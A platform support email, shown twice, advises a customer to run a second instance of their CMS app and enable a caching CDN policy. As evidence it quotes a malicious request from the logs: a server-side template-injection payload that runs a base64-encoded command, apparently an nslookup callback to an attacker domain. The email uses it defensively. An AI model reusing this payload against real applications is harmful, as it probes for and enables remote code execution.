While investigating, we did notice a couple of things.
First, you are only running one instance of the CMS app (prod-onrr-cms) that is handling your website traffic. We strongly recommend that you run at least two instances of your production application to be more resilient to traffic increases and to normal application restarts that happen as part of platform operations. You have 7 GB of memory available on your organization, so you could easily run an additional 2 GB instance of your production application without having to pay us more money.
Second, a lot of requests are not being handled by the CDN cache, meaning they have to get handled by your application. Part of the value of the CDN is the cache and the fact that it reduces load on your application, in addition to returning quicker responses to your users. Right now, at times your CDN is only handling 10-20% of incoming request.
I would recommend that we explore enabling the CachingOptimized policy for your CDN, which should dramatically increase the number of requests handled by the CDN cache. Before enabling that, we need to consider whether and how your website using query strings (for example: www.onrr.gov?foo=bar where ?foo=bar is a query string). Does your website use them anywhere that you know of?
With the CachingOptimized policy, even requests to pages with query strings would cached by the CDN, again reducing load on your application and increasing the response time of your website. The only downside is if you want pages with query strings to always return the latest information and bypass the CDN cache, which is what is currently happening. However, another downside of not caching requests with query strings is that it can allow malicious traffic to reach your application by adding a query string, such as this example I just found in your logs:
This request seems like an attacker trying to get your application to read the query string value in quality and execute it to trigger malicious behavior.
With the CachingOptimized policy, the CDN would have just returned the asset for /assets/f02060cb-3aff-4483-89e2-4b4547689610 without making a request to your application, which is more efficient and more secure.
Let us know what you think about making these changes.
From Mark Boyd on 6/17/24:
Hey Christine,
I'm glad things are working.
While investigating, we did notice a couple of things.
First, you are only running one instance of the CMS app (prod-onrr-cms) that is handling your website traffic. We strongly recommend that you run at least two instances of your production application to be more resilient to traffic increases and to normal application restarts that happen as part of platform operations. You have 7 GB of memory available on your organization, so you could easily run an additional 2 GB instance of your production application without having to pay us more money.
Second, a lot of requests are not being handled by the CDN cache, meaning they have to get handled by your application. Part of the value of the CDN is the cache and the fact that it reduces load on your application, in addition to returning quicker responses to your users. Right now, at times your CDN is only handling 10-20% of incoming request.
I would recommend that we explore enabling the CachingOptimized policy for your CDN, which should dramatically increase the number of requests handled by the CDN cache. Before enabling that, we need to consider whether and how your website using query strings (for example: www.onrr.gov?foo=bar where ?foo=bar is a query string). Does your website use them anywhere that you know of?
With the CachingOptimized policy, even requests to pages with query strings would cached by the CDN, again reducing load on your application and increasing the response time of your website. The only downside is if you want pages with query strings to always return the latest information and bypass the CDN cache, which is what is currently happening. However, another downside of not caching requests with query strings is that it can allow malicious traffic to reach your application by adding a query string, such as this example I just found in your logs:
/assets/f02060cb-3aff-4483-89e2-4b4547689610?fit=cover&quality=%7b%7bimport(%27os%27).popen(import(%27base64%27).urlsafe_b64decode(%27bnNsb29rdXAgZXV6eW9kZGF6a2dqaG9lOWE4cG9xem9pbjJhdHhqNm1panplaW96OXN6MC5yODcubWU%3d%27)).read()%7d%7d
This request seems like an attacker trying to get your application to read the query string value in quality and execute it to trigger malicious behavior.
With the CachingOptimized policy, the CDN would have just returned the asset for /assets/f02060cb-3aff-4483-89e2-4b4547689610 without making a request to your application, which is more efficient and more secure.
Let us know what you think about making these changes.
Thanks, Mark